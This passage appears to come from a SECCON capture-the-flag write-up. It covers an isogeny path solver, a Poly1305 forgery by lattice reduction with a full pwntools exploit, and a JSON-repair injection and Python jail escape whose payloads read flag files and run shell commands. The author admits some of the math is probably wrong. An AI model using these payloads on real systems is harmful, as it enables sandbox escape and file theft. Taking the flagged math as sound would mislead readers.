            # 시작부터 바닥인 경우 등
            break

        best_nxt = None
        max_floor_dist = -1

        # 후보지 중 "바닥까지 거리가 더 먼 쪽"이 위쪽(Up)입니다.
        # 아래쪽 길은 가다보면 금방 바닥(depth < 250)이 나옵니다.
        # 위쪽 길은 Crater로 이어지므로 바닥이 안나옵니다(depth >= 250).
        if len(candidates) == 1:
            best_nxt = candidates[0]
        else:
            for cand in candidates:
                dist = measure_dist_to_floor(cand, curr, limit=PROBE_LIMIT)
                if dist > max_floor_dist:
                    max_floor_dist = dist
                    best_nxt = cand

        prev = curr
        curr = best_nxt
        path.append(curr)

        # Crater 감지:
        # 위로 계속 가면 결국 Crater(Cycle)에 진입하거나,
        # 두 경로가 만나게 됩니다.
        # 여기서 멈추지 않고 적당히 길게 뽑은 뒤 intersection으로 해결합니다.

    return path

def solve():
    t0 = time.time()

    # 1. 각각 등반
    path_v = climb_volcano(vulcan, "Vulcan")
    path_b = climb_volcano(bell, "Bell")

    # 2. 교차점(LCA) 찾기
    set_v = {node: i for i, node in enumerate(path_v)}

    meet_node = None
    idx_b = -1

    # Bell 경로를 따라가다 Vulcan 경로와 겹치는지 확인
    for i, node in enumerate(path_b):
        if node in set_v:
            meet_node = node
            idx_b = i
            print(f"[+] Intersection found at step {i}!")
            break

    if meet_node is None:
        print("[FAIL] No intersection found. Volcano structure might be disjoint or path too short.")
        # 디버깅용: 경로 끝부분 출력
        print(f"    Vulcan End: {path_v[-1]}")
        print(f"    Bell End:   {path_b[-1]}")
        return

    # 3. 경로 병합
    # Vulcan -> ... -> Meet
    # Bell -> ... -> Meet (이걸 뒤집어서 Meet -> ... -> Bell)
    path_v_part = path_v[:set_v[meet_node] + 1]
    path_b_part = path_b[:idx_b] # Meet node 제외 (중복 방지)

    final_path_j = path_v_part + list(reversed(path_b_part))

    print(f"[*] Total path length: {len(final_path_j)}")
    print("[*] Recovering indices (slow but steady)...")

    # 4. 인덱스 복구
    Fp = GF(p)
    idxs = []

    # 커브 초기화
    try:
        E = EllipticCurve(Fp, j=Fp(final_path_j[0]))
    except:
        print("[!] Curve init failed")
        return

    for k in range(len(final_path_j) - 1):
        target = int(final_path_j[k+1])
        isos = E.isogenies_prime_degree(2)

        found = False
        for i, iso in enumerate(isos):
            if int(iso.codomain().j_invariant()) == target:
                idxs.append(i)
                E = iso.codomain()
                found = True
                break

        if not found:
            print(f"[!] Path broken at index {k}")
            return

    dt = time.time() - t0
    print(f"\n[+] DONE in {dt:.2f}s")
    print(", ".join(map(str, idxs)))

if __name__ == "__main__":
    solve()
```

### Nostalgic

Disclaimer: I’m not good at math, expect blatantly incorrect claims

The challenge randomly generates the following values:

- 32-byte key K and 12-byte nonce N (for ChaCha20Poly1305)
- 16-byte target F
- 16-byte plaintext M

The ciphertext C and authentication tag T, which are generated for the plaintext M by ChaCha20Poly1305 with K, N, are provided. The server also infinitely provides authentication tags for random 15-byte plaintexts. The server will give you the flag if you find the input where the authentication tag of $M \oplus \mathrm{input}$ is equal to the target F.

Let’s think about Poly1305. For key and nonce, keys of Poly1305, `r` and `s`, are generated. And the Poly1305 tag would be generated as the following for 15-byte plaintext:
$$
\mathrm{authentication\ tag} = ((\mathrm{right\ padded\ plaintext\ in\ LE} \times r^2 + \mathrm{0x1000000000000000f0000000000000000} \times r \mod \mathrm P) + s) \mod 2^{128}
$$
so if we have two tags $T_1$ and $T_2$:
$$
T_1 - T_2 + 2^{128}k \equiv (\mathrm{plaintext}_1 - \mathrm{plaintext}_2) \times r^2 \mod \mathrm{P} \quad(-4 \le k \le 4)
$$
and we know these plaintexts are less than $2^{120}$, because they’re padded 15-byte data.

And somehow I made the following (probably incorrect) conclusion (Idk, probably this is why my exploit randomly fails lol):
$$
-2^{120} < (T_1 - T_2) \times r^{-2} + 2^{128}k \mod \mathrm{P}) < 2^{120}  \quad(-4 \le k \le 4)
$$
Anyway we can get such tags as much as we want from the server so we can generate a lot of numbers. So probably we can reduce this lattice:

$$
\begin{bmatrix} 
p/4 & 0 & \dots & 0 & 0\\
0 & p/4 & \dots & 0 & 0\\
\vdots & \vdots & \ddots & \vdots & \vdots \\
0 & 0 & \dots & p/4 & 0\\
T_1 - T_2 & T_2 - T_3 & \dots & T_{n-1} - T_n & 1 
\end{bmatrix}
$$
…to find the value of $r^{-2}$? This randomly fails, still not 100% sure why, but randomly *works*. And you know, that’s all we need for CTF. 

Once we find $r^{-2}$, we can just invsqrt to get the r. You have the ciphertext C and its tag T, so you can also reconstruct the $s$ with this.

We need to find the $\mathrm{input}$ where $\mathrm{Poly1305}_{r,s}(\mathrm{ChaCha20}_{K,N,1}(M \oplus \mathrm{input})) = F$. Because $\mathrm{ChaCha20}_{K,N,1}(M) = C$, if you set $\mathrm{input}$ as $C \oplus x$, you can see $\mathrm{Poly1305}_{r,s}(\mathrm{ChaCha20}_{K,N,1}(M \oplus \mathrm{input})) = \mathrm{Poly1305}_{r,s}(\mathrm{ChaCha20}_{K,N,1}(M \oplus C \oplus x)) = \mathrm{Poly1305}_{r,s}(x) = F$. All good! Now you just need to find $x$ that satisfies:
$$
F = ((x \times r^2 + \mathrm{0x100000000000000100000000000000000} \times r \mod \mathrm P) + s) \mod 2^{128}
$$
, which can be done by easy calculations.

:::spoiler Solution code
    
```python
from pwn import remote, process, xor
import random

runflag = True

while runflag:
p = remote("nostalgic.seccon.games", int(5000))

p.recvuntil(b"my SPECIAL_MIND is ")
target = bytes.fromhex(p.recvline().decode().strip())
p.recvuntil(b"special_rain_enc = ")
ct = bytes.fromhex(p.recvline().decode().strip())
p.recvuntil(b"special_rain_tag = ")
tag = bytes.fromhex(p.recvline().decode().strip())

N = 50
P = 2 ^ 130 - 5

samples = []

for i in range(N + 1):
    p.recvuntil(b"what is your mind: ")
    p.sendline(b"need")
    p.recvuntil(b"my MIND was ")
    samples.append(int.from_bytes(bytes.fromhex(p.recvline().decode().strip()), byteorder='little'))

M = [[0] * (N + 1) for _ in range(N + 1)]

for i in range(N):
    M[i][i] = P * 2^10

for i in range(N):
    M[N][i] = (samples[i + 1] - samples[i]) * 2^12

M[N][N] = 1

m = matrix(ZZ, N + 1, N + 1, M)
lll = m.BKZ()
x = int(lll[1][-1])

root_a = (Integers(P)(1) / Integers(P)(x)).sqrt()
if root_a.polynomial().degree() == 1:
    root_a = (Integers(P)(1) / Integers(P)(-x)).sqrt()
root_b = -root_a

for possible_r in [root_a, root_b]:
    acc = int((int.from_bytes(ct, byteorder='little') + 2**128) * possible_r ** 2 + 0x100000000000000100000000000000000 * possible_r) % P
    t = int.from_bytes(tag, byteorder='little')
    possible_s = (t - acc) % 2**128
    for sample in samples:
        acc = (sample - possible_s) % 2**128
        for i in range(-4, 5):
            data = (int(acc - 0x1000000000000000f0000000000000000 * possible_r + i * 2**128) * pow(possible_r, -2, P)) % P
            if data - 2**128 < 2**120: # succeed
                break
        else:
            break # fail
    else:
        break # succeed
else:
    print("no good r is found")
    p.close()
    continue
runflag = False

print("found r", possible_r)

# data * r2 + const * r === acc target
# acc target + s = target

acc_target = (int.from_bytes(target, byteorder='little') - possible_s) % 2^128

for z in range(5):
    possible_data = ((acc_target + z * 2^128 - 0x100000000000000100000000000000000 * possible_r) * pow(possible_r, -2, P)) % P
    if 2^128 <= possible_data < 2^129:
        answer = xor(int(possible_data - 2^128).to_bytes(16, byteorder='little'), ct)
        #answer = ct
        break
else:
    print("?? wrong on acc target")
    exit(-1)


p.recvuntil(b"what is your mind: ")
p.sendline(answer.hex())
p.interactive()
```

:::

Flag: `SECCON{Listening_to_the_murmuring_waves_and_the_capricious_passing_rain_it_feels_like_a_gentle_dream}`

---

## JAIL

### broken_json

https://github.com/josdejong/jsonrepair/blob/main/src/regular/jsonrepair.ts#L841
```javascript=
function parseRegex() {
    if (text[i] === '/') {
      const start = i
      i++

      while (i < text.length && (text[i] !== '/' || text[i - 1] === '\\')) {
        i++
      }
      i++

      output += `"${text.substring(start, i)}"`

      return true
    }
  }
```

`/asdfasdf/` will be changed to `"asdfasdf"`. If you enter `/asdf"qwer/` it will be changed to `"asdf"qwer"`, with the `qwer` portion being escaped within string.

`/a"+[process.binding("fs").readFileUtf8("\/flag-235a7a7283c92a9c1f9a1e521e0e70f3.txt", 0, false)]+'/`

__Flag__: `SECCON{Re:Jail_kara_Hajimeru_Break_Time}`

### execpython


We can bypass filter with `.format()` like `"\56".format()`.
`__traceback__.tb_frame` has builtins. Then, save the object to ex with error.

```
jail> 1/0
jail> "{0\56__traceback__\56tb_frame\56f_builtins\56lol}".format(ex)
jail> {}[lambda: ex.obj['__import__']('os')]
jail> {}[[*ex.args][0]()]
jail> "{0\56args[0]\56system\56lol}".format(ex)
jail> ex.obj('cat /flag*')
SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
```

__Flag__: `SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}`